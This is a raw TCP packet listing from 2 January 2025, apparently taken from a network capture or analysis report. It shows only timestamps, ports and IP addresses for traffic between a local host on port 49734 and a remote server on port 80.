Jan 2, 2025 19:14:18.734376907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734381914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734388113 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734395981 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734404087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734407902 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734410048 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734415054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734421015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734427929 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734442949 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734443903 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734477043 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734477043 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734494925 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734502077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734508038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734524012 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734529972 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734538078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734541893 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734546900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734560013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734565973 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734569073 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734584093 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734587908 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734591007 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734600067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734605074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734606028 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734612942 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734621048 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734628916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734638929 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734656096 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734656096 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734705925 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734730959 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734735966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734740973 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734746933 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734751940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734756947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734771013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734772921 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734776974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734797955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734810114 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734814882 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734814882 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734836102 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734837055 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734843969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734848976 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734853983 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734859943 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734868050 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734875917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734884024 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734884977 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734893084 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734900951 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734909058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734918118 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734918118 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734920979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734927893 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.734946012 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.734968901 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.735119104 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735126019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735131979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735142946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735147953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735158920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735166073 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735172987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735174894 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.735181093 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735191107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735196114 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735204935 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.735208988 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735214949 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735228062 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735236883 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.735250950 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.735305071 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.735969067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735981941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.735997915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736013889 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736018896 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736032963 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736037970 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736042023 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.736044884 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736052990 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736073017 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.736074924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736085892 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736092091 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736099005 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736099958 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.736104965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736113071 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.736115932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736133099 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736140966 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.736140966 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736151934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736157894 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.736192942 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.774977922 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.774987936 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.775033951 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.775088072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.775094032 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.775099993 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.775110960 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.775120020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.775121927 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.775126934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.775163889 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.775202990 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824470997 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824480057 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824489117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824501991 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824517012 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824523926 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824533939 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824542999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824549913 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824563026 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824569941 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824570894 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824577093 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824584961 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824592113 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824608088 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824676991 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824682951 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824696064 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824700117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824737072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824738979 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824742079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824757099 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824764967 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824779987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824793100 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824793100 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824794054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824803114 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824810028 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824817896 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824826002 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824827909 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824851990 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824862957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824866056 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824871063 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824876070 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824911118 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824914932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824928045 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824934959 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824944973 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824949980 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824955940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824960947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824966908 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824975967 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.824981928 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824990988 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.824997902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825007915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825010061 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825018883 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825040102 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825045109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825056076 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825061083 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825062037 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825073957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825079918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825098038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825103998 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825103998 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825119019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825124979 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825125933 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825129986 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825141907 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825151920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825166941 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825166941 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825201035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825206995 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825210094 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825223923 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825229883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825242996 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825251102 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825256109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825263977 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825265884 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825273037 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825282097 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825285912 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825289965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825298071 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825314045 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825316906 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825320959 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825334072 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825344086 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825356960 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825372934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825380087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825395107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825402021 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825402975 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825412035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825419903 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825444937 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825500965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825514078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825515985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825520992 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825524092 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825536013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825544119 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825546980 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825560093 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825568914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825577021 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825576067 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825582981 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825591087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825596094 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825598955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825604916 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825614929 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825632095 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825638056 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825655937 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825656891 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825669050 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825675011 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825678110 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825692892 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825700045 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825704098 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825706959 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825714111 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825715065 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825721025 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825733900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.825738907 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.825764894 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.826541901 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826581001 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826601982 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.826638937 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826644897 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826659918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826669931 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826678038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826685905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826688051 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.826709032 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.826719046 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826735020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826738119 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.826745987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826752901 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826761007 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.826761961 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826769114 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826775074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826781988 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.826797962 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.826834917 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.865643024 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.865659952 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.865664005 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.865677118 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.865685940 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.865686893 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.865717888 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.865720034 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.865725040 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.865735054 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.865739107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.865746975 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.865775108 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915158987 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915242910 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915252924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915260077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915281057 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915287018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915292025 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915297031 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915302038 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915302992 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915307999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915323019 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915324926 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915328979 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915332079 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915350914 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915375948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915380955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915385962 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915386915 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915414095 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915471077 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915482998 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915488958 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915499926 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915504932 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915505886 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915513992 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915523052 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915529013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915533066 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915541887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915546894 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915559053 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915564060 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915569067 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.915570021 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915589094 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915596008 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915641069 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.915644884 CET	80	49734	147.45.44.131	192.168.2.6
